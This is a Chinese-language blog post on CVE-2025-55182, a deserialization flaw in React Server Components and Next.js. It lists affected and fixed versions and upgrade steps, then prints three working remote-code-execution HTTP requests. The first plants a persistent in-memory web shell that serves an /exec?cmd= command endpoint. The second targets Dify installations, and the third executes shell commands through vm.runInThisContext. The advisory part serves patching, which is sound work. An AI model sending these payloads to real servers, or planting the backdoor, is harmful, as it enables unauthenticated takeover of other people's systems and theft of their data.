CVE-2025-55182:React Server Components 断点跟踪

漏洞概述

React Server Components(RSC)架构中披露了关键的安全漏洞,其对应的CVE编号为 CVE-2025-55182 。同时,基于此架构的Next.js App Router也受到直接影响,被分配了漏洞编号 CVE-2025-66478 。这两个漏洞均源于React在服务器端反序列化客户端请求时存在安全缺陷,未经身份验证的远程攻击者可通过向服务器函数端点发送特制的恶意HTTP请求,在目标服务器上实现远程代码执行(RCE),从而可能完全控制服务器。【CVE-2025-66478与 CVE-2025-55182重复了被CVE撤回了

技术原理

该漏洞的根本原因在于React服务器组件库(react-server-dom-*)在解码并处理客户端发送至服务器函数端点的序列化请求负载时,未能对输入数据进行充分的安全验证和净化。攻击者可利用此缺陷,构造恶意的序列化数据,在反序列化过程中触发原型链污染、或间接调用危险模块(如child_processvm等),从而绕过安全限制,在服务器上下文执行任意操作系统命令或代码。

漏洞风险
  • 风险等级: 高风险
  • 风险详情: 任何未及时修复的、启用了React服务器组件或服务器函数端点的应用都可能遭受攻击。攻击者无需任何认证即可利用此漏洞,导致服务器被完全控制、数据泄露、服务中断等严重后果。目前漏洞细节与验证代码(PoC)已在互联网上公开,进一步增加了被大规模利用的风险。
受影响版本

该漏洞影响React生态系统中的多个核心包及Next.js框架,具体受影响版本如下:

1. React 及相关服务器端渲染包:

  • react: 19.0.0, 19.1.0 - 19.1.1, 19.2.0
  • react-dom: 19.0.0, 19.1.0 - 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0 - 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0 - 19.1.1, 19.2.0
  • react-server-dom-webpack: 19.0.0, 19.1.0 - 19.1.1, 19.2.0

2. Next.js(使用App Router):

  • 14.3.0-canary.7715.0.4 之间的Canary版本
  • 15.1.015.1.8
  • 15.2.015.2.5
  • 15.3.015.3.5
  • 15.4.015.4.7
  • 15.5.015.5.6
  • 16.0.016.0.6
安全版本

请将相关依赖升级至以下或更高的安全版本:

  • React系列:
    • react & react-dom: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1
    • react-server-dom-parcel: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1
    • react-server-dom-turbopack: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1
    • react-server-dom-webpack: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1
  • Next.js:
    • 请根据当前使用的主版本,升级至对应的最新补丁版本:15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 或更高。
    • 若正在使用 14.3.0-canary.77 或更高版本的Canary版本,强烈建议降级回最新的稳定 14.x 版本
修复建议
  1. 立即升级:评估您的业务系统是否使用了受影响版本的React或Next.js。如果是,请立即安排升级至上述安全版本。升级前请务必做好数据备份和测试。
  2. 升级命令参考
    • Next.js用户 :根据您的版本,运行类似 npm install next@15.0.5 的命令。
    • React Router / 直接使用RSC API的用户 :升级所有相关包至最新版:react, react-dom, react-server-dom-webpack 等。
    • 其他框架用户 (如Expo, Waku, Redwood):请参照官方通告,升级对应的 react-server-dom-* 包至最新版本。
  3. 官方参考

请您及时开展安全自查,如在受影响范围内,务必尽快进行更新修复,以避免被外部攻击者入侵。

内存马

bash 复制代码
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/exec'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
利用方法:/exec?cmd=whoami

dify

bash 复制代码
POST /apps HTTP/1.1
Host: ip:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: 7a3f9c1e
X-Nextjs-Html-Request-Id: 9bK2mPqRtVwXyZ3$@!sT7u
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Connection: close
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Length: 581

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

paylaod:

javascript 复制代码
POST /formaction HTTP/1.1
Host: 192.168.50.243:3002
Accept-Encoding: identity
User-Agent: Python-urllib/3.9
Content-Type: multipart/form-data; boundary=----BoundaryCVE202555182
Content-Length: 318

------BoundaryCVE202555182
Content-Disposition: form-data; name="$ACTION_REF_0"


------BoundaryCVE202555182
Content-Disposition: form-data; name="$ACTION_0:0"

{"id": "vm#runInThisContext", "bound": ["process.mainModule.require(\"child_process\").execSync(\"set\").toString()"]}
------BoundaryCVE202555182--
相关推荐
赵财猫._.1 小时前
React Native鸿蒙开发实战(二):基础组件与Flex布局
react native·react.js·harmonyos
草帽lufei1 小时前
3大免费AI工具实战测评,用提示词“调教”出业务大屏
前端·ai编程·trae
汉堡大王95272 小时前
JavaScript类型变形记:当代码开始“不正经”地转换身份
前端·javascript
Miss妤2 小时前
Gemini写应用(二)
前端
用户93051065822242 小时前
自造微前端
前端·javascript
之恒君2 小时前
寄生组合继承 vs ES6 类继承 深度对比
前端·javascript
涔溪2 小时前
整理vue3+ vite 开发经常会遇到的问题。
前端·vue.js·typescript
用户51681661458412 小时前
script 标签的异步加载:async、defer、type="module" 详解
前端·javascript
m0_471199632 小时前
【vue】dep.notify() 是什么意思?
前端·javascript·vue.js